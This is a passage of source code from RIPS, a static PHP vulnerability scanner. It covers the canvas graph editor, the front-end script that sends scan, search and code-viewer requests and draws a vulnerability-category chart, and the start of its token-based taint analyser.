191: '/', 192: '`', 219: '[', 220: '\\', 221: ']', 222: '\"' }; for (var keyCode in charCodeTable) { var key = charCodeTable[keyCode]; this.keyCodeTable[key.charCodeAt(0)] = keyCode; if (key.toUpperCase() != key) { this.keyCodeTable[key.toUpperCase().charCodeAt(0)] = keyCode; } } } this.processKey(e, (this.keyCodeTable[e.charCode]) ? this.keyCodeTable[e.charCode] : e.keyCode); } }; Graph.prototype.keyUp = function(e) { this.updateMouseCursor(); }; Graph.prototype.processKey = function(e, keyCode) { if ((e.ctrlKey || e.metaKey) && !e.altKey) // ctrl or option { if (keyCode == 65) // A - select all { this.undoService.begin(); var selectionUndoUnit = new SelectionUndoUnit(); this.selectAll(selectionUndoUnit, null); this.undoService.add(selectionUndoUnit); this.undoService.commit(); this.update(); this.updateActiveObject(this.pointerPosition); this.updateMouseCursor(); this.stopEvent(e); } if ((keyCode == 90) && (!e.shiftKey)) // Z - undo { this.undoService.undo(); this.update(); this.updateActiveObject(this.pointerPosition); this.updateMouseCursor(); this.stopEvent(e); } if (((keyCode == 90) && (e.shiftKey)) || (keyCode == 89)) // Y - redo { this.undoService.redo(); this.update(); this.updateActiveObject(this.pointerPosition); this.updateMouseCursor(); this.stopEvent(e); } } if ((keyCode == 46) || (keyCode == 8)) // DEL - delete { this.deleteSelection(); this.update(); this.updateActiveObject(this.pointerPosition); this.updateMouseCursor(); this.stopEvent(e); } if (keyCode == 27) // ESC { this.newElement = null; this.newConnection = null; this.track = false; for (var i = 0; i < this.elements.length; i++) { var element = this.elements[i]; if (element.tracker !== null) { element.tracker.track = false; } } this.update(); this.updateActiveObject(this.pointerPosition); this.updateMouseCursor(); this.stopEvent(e); } }; Graph.prototype.stopEvent = function(e) { e.preventDefault(); e.stopPropagation(); }; Graph.prototype.deleteSelection = function() { var i, j, k; var element; this.undoService.begin(); var deletedConnections = []; for (i = 0; i < this.elements.length; i++) { element = this.elements[i]; for (j = 0; j < element.connectors.length; j++) { var connector = element.connectors[j]; for (k = 0; k < connector.connections.length; k++) { var connection = connector.connections[k]; if ((element.selected || connection.selected) && (!deletedConnections.contains(connection))) { this.undoService.add(new DeleteConnectionUndoUnit(connection)); deletedConnections.push(connection); } } } } for (i = 0; i < this.elements.length; i++) { element = this.elements[i]; if (element.selected) { this.undoService.add(new DeleteElementUndoUnit(element)); } } this.undoService.commit(); }; Graph.prototype.selectAll = function(selectionUndoUnit, rectangle) { for (var i = 0; i < this.elements.length; i++) { var element = this.elements[i]; if ((rectangle === null) || (element.hitTest(rectangle))) { selectionUndoUnit.select(element); } for (var j = 0; j < element.connectors.length; j++) { var connector = element.connectors[j]; for (var k = 0; k < connector.connections.length; k++) { var connection = connector.connections[k]; if ((rectangle === null) || (connection.hitTest(rectangle))) { selectionUndoUnit.select(connection); } } } } }; Graph.prototype.deselectAll = function(selectionUndoUnit) { for (var i = 0; i < this.elements.length; i++) { var element = this.elements[i]; selectionUndoUnit.deselect(element); for (var j = 0; j < element.connectors.length; j++) { var connector = element.connectors[j]; for (var k = 0; k < connector.connections.length; k++) { var connection = connector.connections[k]; selectionUndoUnit.deselect(connection); } } } }; Graph.prototype.updateActiveObject = function(point) { var hitObject = this.hitTest(point); if (hitObject != this.activeObject) { if (this.activeObject !== null) { this.activeObject.hover = false; } this.activeObject = hitObject; if (this.activeObject !== null) { this.activeObject.hover = true; } } }; Graph.prototype.hitTest = function(point) { var i, j, k; var element, connector, connection; var rectangle = new Rectangle(point.x, point.y, 0, 0); for (i = 0; i < this.elements.length; i++) { element = this.elements[i]; for (j = 0; j < element.connectors.length; j++) { connector = element.connectors[j]; if (connector.hitTest(rectangle)) { return connector; } } } for (i = 0; i < this.elements.length; i++) { element = this.elements[i]; if (element.hitTest(rectangle)) { return element; } } for (i = 0; i < this.elements.length; i++) { element = this.elements[i]; for (j = 0; j < element.connectors.length; j++) { connector = element.connectors[j]; for (k = 0; k < connector.connections.length; k++) { connection = connector.connections[k]; if (connection.hitTest(rectangle)) { return connection; } } } } return null; }; Graph.prototype.updateMouseCursor = function() { if (this.newConnection !== null) { this.canvas.style.cursor = ((this.activeObject !== null) && (this.activeObject instanceof Connector)) ? this.activeObject.getCursor(this.pointerPosition) : Cursors.cross; } else { this.canvas.style.cursor = (this.activeObject !== null) ? this.activeObject.getCursor(this.pointerPosition) : Cursors.arrow; } }; Graph.prototype.updateMousePosition = function(e) { this.shiftKey = e.shiftKey; this.pointerPosition = new Point(e.pageX, e.pageY); var node = this.canvas; while (node !== null) { this.pointerPosition.x -= node.offsetLeft; this.pointerPosition.y -= node.offsetTop; node = node.offsetParent; } }; Graph.prototype.updateTouchPosition = function(e) { this.shiftKey = false; this.pointerPosition = new Point(e.touches[0].pageX, e.touches[0].pageY); var node = this.canvas; while (node !== null) { this.pointerPosition.x -= node.offsetLeft; this.pointerPosition.y -= node.offsetTop; node = node.offsetParent; } } Graph.prototype.addElement = function(template, point, content, text, userinput, sinks, vuln) { this.activeTemplate = template; var element = new Element(template, point); element.content = content; element.text = text; element.insertInto(this); element.invalidate(); element.userinput = (userinput == 1) ? 1.5 : userinput; element.sinks = (sinks == 1) ? 1.5 : sinks; element.vuln = vuln; return element; }; Graph.prototype.createElement = function(template) { this.activeTemplate = template; this.newElement = new Element(template, this.pointerPosition); this.update(); this.canvas.focus(); }; Graph.prototype.addConnection = function(connector1, connector2, linecolor) { var connection = new Connection(connector1, connector2); connection.color = linecolor; connector1.connections.push(connection); connector2.connections.push(connection); connector1.invalidate(); connector2.invalidate(); connection.invalidate(); return connection; }; Graph.prototype.setElementContent = function(element, content) { this.undoService.begin(); this.undoService.add(new ContentChangedUndoUnit(element, content)); this.undoService.commit(); this.update(); }; Graph.prototype.update = function() { var i, j, k; var element, connector, connection; this.canvas.style.background = this.theme.background; this.context.clearRect(0, 0, this.canvas.width, this.canvas.height); var connections = []; for (i = 0; i < this.elements.length; i++) { element = this.elements[i]; for (j = 0; j < element.connectors.length; j++) { connector = element.connectors[j]; for (k = 0; k < connector.connections.length; k++) { connection = connector.connections[k]; if (!connections.contains(connection)) { connection.paint(this.context); connections.push(connection); } } } } for (i = 0; i < this.elements.length; i++) { this.context.save(); this.elements[i].paint(this.context); this.context.restore(); } for (i = 0; i < this.elements.length; i++) { element = this.elements[i]; for (j = 0; j < element.connectors.length; j++) { connector = element.connectors[j]; var hover = false; for (k = 0; k < connector.connections.length; k++) { if (connector.connections[k].hover) { hover = true; } } if ((element.hover) || (connector.hover) || hover) { connector.paint(this.context, (this.newConnection !== null) ? this.newConnection.from : null); } else if ((this.newConnection !== null) && (connector.isValid(this.newConnection.from))) { connector.paint(this.context, this.newConnection.from); } } } if (this.newElement !== null) { this.context.save(); this.newElement.paint(this.context); this.context.restore(); } if (this.newConnection !== null) { this.newConnection.paintTrack(this.context); } if (this.selection !== null) { this.context.strokeStyle = this.theme.selection; this.selection.paint(this.context); } // userinput legend this.context.beginPath(); this.context.fillStyle = "#FFF"; this.context.arc(this.canvas.width-130,30,5,0,Math.PI*2,true); this.context.fill(); this.context.closePath(); this.context.beginPath(); this.context.strokeStyle = "#000"; this.context.lineWidth = 1; this.context.arc(this.canvas.width-130,30,5,0,Math.PI*2,true); this.context.stroke(); this.context.closePath(); this.context.textBaseline = "bottom"; this.context.font = "8.25pt Tahoma"; this.context.fillStyle = "#000"; this.context.fillText('sources', this.canvas.width-115, 35); // sensitive sink legend this.context.beginPath(); this.context.fillStyle = "#FFCE42"; this.context.arc(this.canvas.width-130,50,5,0,Math.PI*2,true); this.context.fill(); this.context.closePath(); this.context.beginPath(); this.context.strokeStyle = "#000"; this.context.lineWidth = 1; this.context.arc(this.canvas.width-130,50,5,0,Math.PI*2,true); this.context.stroke(); this.context.closePath(); this.context.textBaseline = "bottom"; this.context.font = "8.25pt Tahoma"; this.context.fillStyle = "#000"; this.context.fillText('sensitive sinks', this.canvas.width-115, 55); // vulnerable legend this.context.beginPath(); this.context.fillStyle = "red"; this.context.arc(this.canvas.width-130,70,5,0,Math.PI*2,true); this.context.fill(); this.context.closePath(); this.context.beginPath(); this.context.strokeStyle = "#000"; this.context.lineWidth = 1; this.context.arc(this.canvas.width-130,70,5,0,Math.PI*2,true); this.context.stroke(); this.context.closePath(); this.context.textBaseline = "bottom"; this.context.font = "8.25pt Tahoma"; this.context.fillStyle = "#000"; this.context.fillText('vulnerability', this.canvas.width-115, 75); }; // -------------------------------------------------- main -------------------------------------------- var pageTemplate = new PageTemplate(); function PageTemplate() { this.resizable = false; this.defaultWidth = 120; this.defaultHeight = 40; this.defaultContent = ""; this.connectorTemplates = [ { name: "links", type: "Page [in] [array]", description: "Child", position: function(element) { return { x: Math.floor(element.getRectangle().width / 2), y: 0 } } }, { name: "parents", type: "Page [out] [array]", description: "Parent", position: function(element) { return { x: Math.floor(element.getRectangle().width / 2), y: Math.floor(element.getRectangle().height) } } } ]; } PageTemplate.prototype.paint = function(element, context) { var rectangle = element.getRectangle(); context.fillStyle = "#ddd"; context.strokeStyle = element.selected ? "#888" : "#246"; context.lineWidth = 2; context.fillRect(rectangle.x, rectangle.y, rectangle.width, rectangle.height); context.strokeRect(rectangle.x, rectangle.y, rectangle.width, rectangle.height); context.fillStyle = context.strokeStyle; context.fillRect(rectangle.x, rectangle.y, rectangle.width, 18); context.font = "bold 9px Verdana"; context.fillStyle = "#fff"; context.textBaseline = "bottom"; context.fillText(element.getContent().substring(0, 22), rectangle.x + 4, rectangle.y + 14); }; PageTemplate.prototype.edit = function(element, point) { contentEditor.start(element); }; var scriptTemplate = new ScriptTemplate(); function ScriptTemplate() { this.resizable = false; this.defaultWidth = 120; this.defaultHeight = 40; this.defaultContent = ""; this.connectorTemplates = [ { name: "links", type: "Page [in] [array]", description: "Child", position: function(element) { return { x: Math.floor(element.getRectangle().width / 2), y: 0 } } }, { name: "parents", type: "Page [out] [array]", description: "Parent", position: function(element) { return { x: Math.floor(element.getRectangle().width / 2), y: Math.floor(element.getRectangle().height) } } } ]; } ScriptTemplate.prototype.paint = function(element, context) { var rectangle = element.getRectangle(); context.fillStyle = "#ddd"; context.strokeStyle = element.selected ? "#888" : "#622"; context.lineWidth = 2; context.fillRect(rectangle.x, rectangle.y, rectangle.width, rectangle.height); context.strokeRect(rectangle.x, rectangle.y, rectangle.width, rectangle.height); context.fillStyle = context.strokeStyle; context.fillRect(rectangle.x, rectangle.y, rectangle.width, 18); context.font = "bold 9px Verdana"; context.fillStyle = "#fff"; context.textBaseline = "bottom"; context.fillText(element.getContent().substring(0, 20), rectangle.x + 4, rectangle.y + 14); }; ScriptTemplate.prototype.edit = function(element, point) { contentEditor.start(element); }; var contentEditor = new ContentEditor(); function ContentEditor() { this.input = null; } ContentEditor.prototype.start = function(element) { var rectangle = element.getPageRectangle(); this.element = element; this.input = document.createElement('input'); this.input.type = "text"; this.input.style.position = "absolute"; this.input.style.zIndex = 1; this.input.style.top = (rectangle.y + 1) + "px"; this.input.style.left = (rectangle.x + 2) + "px"; this.input.style.width = (rectangle.width - 4) + "px"; this.input.onblur = function(e) { contentEditor.commit(); } this.input.onkeydown = function(e) { if (e.keyCode == 13) { contentEditor.commit(); } // Enter if (e.keyCode == 27) { contentEditor.cancel(); } // ESC }; this.element.owner.canvas.parentNode.appendChild(this.input); this.input.value = element.getContent(); this.input.select(); this.input.focus(); }; ContentEditor.prototype.commit = function() { this.element.setContent(this.input.value); this.cancel(); } ContentEditor.prototype.cancel = function() { if (this.input !== null) { var input = this.input; this.input = null; this.element.owner.canvas.parentNode.removeChild(input); this.element = null; } }; ================================================ FILE: js/script.js ================================================ /** RIPS - A static source code analyser for vulnerabilities in PHP scripts by Johannes Dahse (johannes.dahse@rub.de) **/ /* SCAN */ function scanAnimation(height, idprefix) { var div = document.getElementById(idprefix+'ned'); div.style.height = height+"px"; } function handleResponse(idprefix) { if (client.readyState != 4 && client.readyState != 3) return; if (client.readyState == 3 && client.status != 200) return; if (client.readyState == 4 && client.status != 200) { return; } if (client.responseText === null) return; while (prevDataLength != client.responseText.length) { if (client.readyState == 4 && prevDataLength == client.responseText.length) break; prevDataLength = client.responseText.length; var lines = client.responseText.split('\n'); var newline = lines[lines.length-2]; if(newline == 'STATS_DONE.') { console.log("done"); stats_done = true; return; } else if(newline != undefined) { data = newline.split('|'); if(data[0] != undefined && data[1] != undefined && data[2] != undefined && data[3] != undefined) { document.getElementById(idprefix+"file").innerHTML = data[2]; procent = Math.round((data[0]/data[1])*100); scanAnimation((procent * 75)/100, idprefix) document.getElementById(idprefix+"progress").innerHTML = '' + procent + '%
(' + data[0] + '/' + data[1] + ')'; document.getElementById(idprefix+"timeleft").innerHTML = 'appr. timeleft: ' + ( (Math.round(data[3]/60) > 1) ? (Math.round(data[3]/60) + ' min') : (Math.round(data[3]) + ' sec') ); } else { stats_done = true; } } } if (client.readyState == 4 && prevDataLength == client.responseText.length) { return; } } function scan(ignore_warning) { var location = encodeURIComponent(document.getElementById("location").value); var subdirs = Number(document.getElementById("subdirs").checked); var verbosity = document.getElementById("verbosity").value; var vector = document.getElementById("vector").value; var treestyle = document.getElementById("treestyle").value; var stylesheet = document.getElementById("css").value; var params = "loc="+location+"&subdirs="+subdirs+"&verbosity="+verbosity+"&vector="+vector+"&treestyle="+treestyle+"&stylesheet="+stylesheet; if(ignore_warning) params+="&ignore_warning=1"; document.getElementById("scanning").style.backgroundImage="url(css/scanning.gif)"; document.getElementById("scanning").innerHTML='scanning ...
' document.getElementById("scanning").style.display="block"; prevDataLength = 0; nextLine = ''; var a = true; stats_done = false; client = new XMLHttpRequest(); client.onreadystatechange = function () { if(this.readyState == 3 && !stats_done) handleResponse('scan'); else if(this.readyState == 4 && this.status == 200 && a) { if(!this.responseText.match(/^\s*warning:/)) { document.getElementById("scanning").style.display="none"; document.getElementById("options").style.display=""; nostats = this.responseText.split("STATS_DONE.\n"); if(nostats[1]) result = nostats[1]; else result = nostats[0]; document.getElementById("result").innerHTML=(result); generateDiagram(); } else { var amount = this.responseText.split(':')[1]; var warning = "
"; warning+="

warning

"; warning+="

You are about to scan " + amount + " files. "; warning+="Depending on the amount of codelines and includes this may take a while."; warning+="The author of RIPS recommends to scan only the root directory of your project without subdirs.

"; warning+="

Do you want to continue anyway?

"; warning+=" "; warning+=""; warning+="
"; document.getElementById("scanning").style.backgroundImage="none"; document.getElementById("scanning").innerHTML=warning; } a=false; } else if (this.readyState == 4 && this.status != 200) { var warning = "
"; warning+="

Network error (HTTP "+this.status+")

"; if(this.status == 0) warning+="

Could not access main.php. Make sure your webserver is running.

"; else if(this.status == 404) warning+="

Could not access main.php. Make sure you copied all files.

"; else if(this.status == 500) warning+="

Scan aborted. Try to scan only one entry file at once or increase the set_time_limit() in config/general.php.

"; warning+="
"; document.getElementById("scanning").style.backgroundImage="none"; document.getElementById("scanning").innerHTML=warning; } } client.open("POST", "main.php", true); client.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); client.setRequestHeader("Content-length", params.length); client.setRequestHeader("Connection", "close"); client.send(params); } function leakScan(hoveritem, varname, line, ignore_warning) { var title = 'Data Leak Scan - ' + varname; var mywindow = document.getElementById("window2"); mywindow.style.display="block"; mywindow.style.width=700; mywindow.style.height=350; if(hoveritem) { if(hoveritem != 3 && hoveritem != 4) var tmp = hoveritem.offsetParent; else var tmp = document.getElementById("windowtitle"+hoveritem); mywindow.style.top = tmp.offsetParent.offsetTop - 90; mywindow.style.right = 250; } document.getElementById("windowtitle2").innerHTML=title; var location = encodeURIComponent(document.getElementById("location").value); var subdirs = Number(document.getElementById("subdirs").checked); var treestyle = document.getElementById("treestyle").value; var params = "loc="+location+"&subdirs="+subdirs+"&treestyle="+treestyle+"&varname="+varname+"&line="+line; if(ignore_warning) params+="&ignore_warning=1"; document.getElementById("windowcontent2").innerHTML = ''; var scandiv = document.createElement('div'); scandiv.className="scanning"; scandiv.style.marginTop="30px"; scandiv.style.marginLeft="150px"; scandiv.style.backgroundImage="url(css/scanning.gif)"; scandiv.innerHTML='scanning ...
'; scandiv.id="dataleakscanning"; scandiv.style.display="block"; document.getElementById("windowcontent2").appendChild(scandiv); var a = true; stats_done = false; client = new XMLHttpRequest(); client.onreadystatechange = function () { if(this.readyState == 3 && !stats_done) handleResponse('leakscan'); else if(this.readyState == 4 && this.status == 200 && a) { if(!this.responseText.match(/^\s*warning:/)) { document.getElementById("dataleakscanning").style.display="none"; nostats = this.responseText.split("STATS_DONE.\n"); if(nostats[1]) document.getElementById("windowcontent2").innerHTML=(nostats[1]); else document.getElementById("windowcontent2").innerHTML='
No data leak found. You need blind exploitation techniques.
'; } else { var amount = this.responseText.split(':')[1]; var warning = "
"; warning+="

warning

"; warning+="

You are about to scan " + amount + " files. "; warning+="Depending on the amount of codelines and includes this may take a while. "; warning+="The author of RIPS recommends to scan only the root directory of your project without subdirs.

"; warning+="

Do you want to continue anyway?

"; warning+=" "; warning+=""; warning+="
"; document.getElementById("dataleakscanning").style.backgroundImage="none"; document.getElementById("dataleakscanning").innerHTML=warning; } a=false; } else if (this.readyState == 4 && this.status != 200) { var warning = "
"; warning+="

Network error (HTTP "+this.status+")

"; if(this.status == 0) warning+="

Could not access windows/leakscan.php. Make sure your webserver is running.

"; else if(this.status == 404) warning+="

Could not access windows/leakscan.php. Make sure you copied all files.

"; else if(this.status == 500) warning+="

Scan aborted. Try to scan only one entry file at once or increase the set_time_limit() in config/general.php.

"; warning+="
"; document.getElementById("dataleakscanning").style.backgroundImage="none"; document.getElementById("dataleakscanning").innerHTML=warning; } } client.open("POST", "windows/leakscan.php", true); client.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); client.setRequestHeader("Content-length", params.length); client.setRequestHeader("Connection", "close"); client.send(params); } /* SEARCH */ function search() { var location = encodeURIComponent(document.getElementById("location").value); var subdirs = Number(document.getElementById("subdirs").checked); var regex = encodeURIComponent(document.getElementById("search").value); var stylesheet = document.getElementById("css").value; var params = 'loc='+location+'&subdirs='+subdirs+'&search=1®ex='+regex+'&ignore_warning=1&treestyle=1&stylesheet='+stylesheet; document.getElementById("scanning").style.backgroundImage="url(css/scanning.gif)"; document.getElementById("scanning").innerHTML='searching ...
'; document.getElementById("scanning").style.display="block"; var animation = window.setInterval("scanAnimation(document.getElementById('scanned'))", 300); var a = true; var client = new XMLHttpRequest(); client.onreadystatechange = function () { if(this.readyState == 4 && this.status == 200 && a) { document.getElementById("scanning").style.display="none"; window.clearInterval(animation); document.getElementById("options").style.display="none"; document.getElementById("result").innerHTML=(this.responseText); a=false; } else if (this.readyState == 4 && this.status != 200) { alert("Network error ("+this.status+")."); } } client.open("POST", "main.php", true); client.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); client.setRequestHeader("Content-length", params.length); client.setRequestHeader("Connection", "close"); client.send(params); } /* CODE STYLE */ function setActiveStyleSheet(title) { var i, a; for(i=0; (a = document.getElementsByTagName("link")[i]); i++) { if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title")) { a.disabled = true; if(a.getAttribute("title") == title) a.disabled = false; } } } function hide(tag) { if(document.getElementById(tag).style.display != "none") { document.getElementById(tag).style.display="none"; document.getElementById("pic"+tag).className='plusico'; } else { document.getElementById(tag).style.display="block"; document.getElementById("pic"+tag).className='minusico'; } } function catshow(tag) { var elements = document.getElementsByName('allcats'); for(var i=0;i 50) title = '...'+file.substr(file.length-50,50); else title = file; document.getElementById("funccodetitle").innerHTML=title; var tmp = hoveritem.offsetParent; codediv.style.top = tmp.offsetParent.offsetTop; codediv.style.left = hoveritem.offsetLeft; var a = true; var client = new XMLHttpRequest(); client.onreadystatechange = function () { if(this.readyState == 4 && this.status == 200 && a) { document.getElementById("funccodecontent").innerHTML=(this.responseText); a=false; } else if (this.readyState == 4 && this.status != 200) { alert("Network error ("+this.status+")."); } } client.open("GET", "windows/function.php?file="+file+"&start="+start+"&end="+end); client.send(); } function openHelp(hoveritem, type, thefunction, get, post, cookie, files, server) { var title = 'Help - '; if(type.length > 50) title+= type.substr(0,80)+'...'; else title+=type; var mywindow = document.getElementById("window2"); mywindow.style.display="block"; if(hoveritem != 3 && hoveritem != 4) var tmp = hoveritem.offsetParent; else var tmp = document.getElementById("windowtitle"+hoveritem); mywindow.style.top = tmp.offsetParent.offsetTop - 100; mywindow.style.right = 200; document.getElementById("windowtitle2").innerHTML=title; var a = true; var client = new XMLHttpRequest(); client.onreadystatechange = function () { if(this.readyState == 4 && this.status == 200 && a) { document.getElementById("windowcontent2").innerHTML=(this.responseText); document.getElementById("windowcontent2").scrollIntoView(); document.body.scrollTop = tmp.offsetParent.offsetTop - 200; a=false; } else if (this.readyState == 4 && this.status != 200) { alert("Network error ("+this.status+")."); } } client.open("GET", "windows/help.php?type="+type+"&function="+thefunction+"&get="+get+"&post="+post+"&cookie="+cookie+"&files="+files+"&server="+server); client.send(); } function openHotpatch(hoveritem, file, get, post, cookie, files, server) { var title = 'HotPatcher - '; if(file.length > 50) title+= '...'+file.substr(file.length-50,50); else title+= file; var mywindow = document.getElementById("window2"); mywindow.style.display="block"; var tmp = hoveritem.offsetParent; mywindow.style.top = tmp.offsetParent.offsetTop - 100; mywindow.style.right = 200; document.getElementById("windowtitle2").innerHTML=title; var a = true; var client = new XMLHttpRequest(); client.onreadystatechange = function () { if(this.readyState == 4 && this.status == 200 && a) { document.getElementById("windowcontent2").innerHTML=(this.responseText); document.getElementById("windowcontent2").scrollIntoView(); document.body.scrollTop = tmp.offsetParent.offsetTop - 200; a=false; } else if (this.readyState == 4 && this.status != 200) { alert("Network error ("+this.status+")."); } } client.open("GET", "windows/hotpatch.php?file="+file+"&get="+get+"&post="+post+"&cookie="+cookie+"&files="+files+"&server="+server); client.send(); } function openCodeViewer(hoveritem, file, lines) { var linenrs = lines.split(","); var title = 'CodeViewer - '; if(file.length > 50) title+= '...'+file.substr(file.length-50,50); else title+= file; var mywindow = document.getElementById("window1"); mywindow.style.display="block"; if(hoveritem != 3 && hoveritem != 4) var tmp = hoveritem.offsetParent; else var tmp = document.getElementById("windowtitle"+hoveritem); if(tmp.offsetParent != null) mywindow.style.top = tmp.offsetParent.offsetTop - 100; mywindow.style.right = 200; document.getElementById("windowtitle1").innerHTML=title; var a = true; var client = new XMLHttpRequest(); client.onreadystatechange = function () { if(this.readyState == 4 && this.status == 200 && a) { document.getElementById("windowcontent1").innerHTML=(this.responseText); if(document.getElementById(linenrs[0]) != null) document.getElementById(linenrs[0]).scrollIntoView(); if(tmp.offsetParent != null) document.body.scrollTop = tmp.offsetParent.offsetTop - 200; else document.body.scrollTop = document.body.scrollTop - 100; document.getElementById("scrollcode").innerHTML=document.getElementById("codeonly").innerHTML; a=false; } else if (this.readyState == 4 && this.status != 200) { alert("Network error ("+this.status+")."); } } client.open("GET", "windows/code.php?file="+file+"&lines="+lines); client.send(); } function openExploitCreator(hoveritem, file, get, post, cookie, files, server) { var title = 'ExploitCreator - '; if(file.length > 50) title+= '...'+file.substr(file.length-50,50); else title+= file; var mywindow = document.getElementById("window2"); mywindow.style.display="block"; var tmp = hoveritem.offsetParent; mywindow.style.top = tmp.offsetParent.offsetTop - 100; mywindow.style.right = 200; document.getElementById("windowtitle2").innerHTML=title; var a = true; var client = new XMLHttpRequest(); client.onreadystatechange = function () { if(this.readyState == 4 && this.status == 200 && a) { document.getElementById("windowcontent2").innerHTML=(this.responseText); document.getElementById("windowcontent2").scrollIntoView(); document.body.scrollTop = tmp.offsetParent.offsetTop - 200; a=false; } else if (this.readyState == 4 && this.status != 200) { alert("Network error ("+this.status+")."); } } client.open("GET", "windows/exploit.php?file="+file+"&get="+get+"&post="+post+"&cookie="+cookie+"&files="+files+"&server="+server); client.send(); } function saveCanvas(canvas, id) { var objCanvas = document.getElementById(canvas); var ctx = objCanvas.getContext('2d'); var c = document.createElement('canvas'); c.width = ctx.canvas.width; c.height = ctx.canvas.height; var newctx = c.getContext('2d'); newctx.fillStyle = '#FFF'; newctx.fillRect(0,0,c.width,c.height); newctx.fillStyle = "#223344"; newctx.fillText('created with RIPS', c.width-100, c.height-7); newctx.drawImage(ctx.canvas,0,0); document.getElementById("canvas"+id).innerHTML=""; document.getElementById("canvas"+id).style.display='block'; document.getElementById(canvas).style.display='none'; document.getElementById(canvas+'save').value='edit graph'; var onC='restoreCanvas("'+canvas+'", '+id+')'; document.getElementById(canvas+'save').onclick = new Function(onC); } function restoreCanvas(canvas, id) { document.getElementById("canvas"+id).style.display='none'; document.getElementById(canvas).style.display='block'; document.getElementById(canvas+'save').value='save graph'; var onC='saveCanvas("'+canvas+'", '+id+')'; document.getElementById(canvas+'save').onclick = new Function(onC); } /* DRAG WINDOW */ var dragobjekt = null; var dragx = 0; var dragy = 0; var posx = 0; var posy = 0; function draginit() { document.onmousemove = drag; document.onmouseup = dragstop; } function dragstart(id) { dragobjekt = document.getElementById("window"+id); dragx = posx - dragobjekt.offsetLeft; dragy = posy - dragobjekt.offsetTop; } function dragstop() { dragobjekt=null; if(document.getElementById("scrollcode") != null) scroller(); } function drag(ereignis) { posx = document.all ? window.event.clientX : ereignis.pageX; posy = document.all ? window.event.clientY : ereignis.pageY; if(dragobjekt != null) { dragobjekt.style.left = (posx - dragx) + "px"; dragobjekt.style.top = (posy - dragy) + "px"; } } /* RESIZE WINDOW */ var curWidth = 0; var curHeight = 0; var curX = 0; var curY = 0; var newX = 0; var newY = 0; var mouseButtonPos = "up"; var windowid = 1; function resizeStart(e, id) { windowid = id; curEvent = ((typeof event == "undefined")? e: event); mouseButtonPos = "down"; curX = curEvent.clientX; curY = curEvent.clientY; var tempWidth = document.getElementById("window"+id).style.width; var tempHeight = document.getElementById("window"+id).style.height; var widthArray = tempWidth.split("p"); curWidth = parseInt(widthArray[0]); var heightArray=tempHeight.split("p"); curHeight=parseInt(heightArray[0]); } function getPos(e) { if( mouseButtonPos == "down" ) { curEvent = ((typeof event == "undefined")? e: event); newY = curEvent.clientY; newX = curEvent.clientX; var pxMoveY = parseInt(newY - curY); var pxMoveX = parseInt(newX - curX); var newWidth = parseInt(curWidth + pxMoveX); var newHeight = parseInt(curHeight + pxMoveY); newWidth = ((newWidth < 200)? 200: newWidth); newHeight=(newHeight<5?5:newHeight); document.getElementById("window"+windowid).style.width = newWidth + "px"; if(windowid == 1) document.getElementById("windowcontent1").style.width = newWidth-84 + "px"; document.getElementById("window"+windowid).style.height = newHeight + "px"; } } /* DIAGRAM */ var myColor = [ "#9F42FF", // code "#FFCE42", // exec "#FF8042", // connect "#FF4242", // file read "#FDFF42", // file inc "#48D141", // file affect "#47CAC5", // ldap "#477FCA", // sqli "#4A47CA", // xpath "#DADFE3", // XSS "#16FB3B", // HTTP Header "#DF4242", // other "#818C96", // pop "#ff99ff", // reflection "#ff33ff", // ]; var myData = Array(); function generateDiagram() { var canvas; var ctx; var lastend = 0; var myTotal = 0; // generate data for (var j = 0; j < 15; j++) { if(document.getElementById('vuln'+(j+1))) { myTotal += Number(document.getElementById('vuln'+(j+1)).innerHTML); myData[j] = Number(document.getElementById('vuln'+(j+1)).innerHTML); } else myData[j] = 0; } canvas = document.getElementById("diagram"); ctx = canvas.getContext("2d"); ctx.clearRect(0, 0, canvas.width, canvas.height); for (var i = 0; i < myData.length; i++) { if(myData[i] != 0) { document.getElementById('chart'+(i+1)).style.backgroundColor = myColor[i]; ctx.fillStyle = myColor[i]; ctx.beginPath(); ctx.moveTo(45,35); ctx.arc(45,35,35,lastend,lastend+(Math.PI*2*(myData[i]/myTotal)),false); ctx.lineTo(45,35); ctx.fill(); lastend += Math.PI*2*(myData[i]/myTotal); } } } ================================================ FILE: lib/analyzer.php ================================================ . **/ class Analyzer { // reconstructs string from a list of tokens static function get_tokens_value($file_name, $tokens, $var_declares, $var_declares_global, $tokenid, $start=0, $stop=0, $source_functions=array()) { $value = ''; if(!$stop) $stop = count($tokens); // check all tokens until instruction ends for($i=$start; $i<$stop; $i++) { if( is_array($tokens[$i]) ) { // trace variables for its values if( $tokens[$i][0] === T_VARIABLE || ($tokens[$i][0] === T_STRING && $tokens[$i+1] !== '(' ) ) { if(!in_array($tokens[$i][1], Sources::$V_USERINPUT)) { // constant CONSTANTS if ($tokens[$i][1] === 'DIRECTORY_SEPARATOR') $value .= '/'; else if ($tokens[$i][1] === 'PATH_SEPARATOR') $value .= ';'; // global $varname -> global scope, CONSTANTS else if( (isset($tokens[$i-1]) && is_array($tokens[$i-1]) && $tokens[$i-1][0] === T_GLOBAL) || $tokens[$i][1][0] !== '$' ) $value .= self::get_var_value($file_name, $tokens[$i], $var_declares_global, $var_declares_global, $tokenid); // local scope else $value .= self::get_var_value($file_name, $tokens[$i], $var_declares, $var_declares_global, $tokenid); } else { if(isset($tokens[$i][3])) $parameter_name = str_replace(array("'",'"'), '', $tokens[$i][3][0]); else $parameter_name = ''; // mark userinput for quote analysis if( ($tokens[$i][1] !== '$_SERVER' || (empty($parameter_name) || in_array($parameter_name, Sources::$V_SERVER_PARAMS) || substr($parameter_name,0,5) === 'HTTP_')) && !((is_array($tokens[$i-1]) && in_array($tokens[$i-1][0], Tokens::$T_CASTS)) || (is_array($tokens[$i+1]) && in_array($tokens[$i+1][0], Tokens::$T_ARITHMETIC))) ) $value.='$_USERINPUT'; else $value.='1'; } } // add strings // except first string of define('var', 'value') else if( $tokens[$i][0] === T_CONSTANT_ENCAPSED_STRING && !($tokens[$i-2][0] === T_STRING && $tokens[$i-2][1] === 'define')) { // add string without quotes $value .= substr($tokens[$i][1], 1, -1); } // add directory name dirname(__FILE__) else if( $tokens[$i][0] === T_FILE && ($tokens[$i-2][0] === T_STRING && $tokens[$i-2][1] === 'dirname')) { // overwrite value because __FILE__ is absolute // add slash just to be sure $value = dirname($file_name).'/'; } // add numbers else if( $tokens[$i][0] === T_LNUMBER || 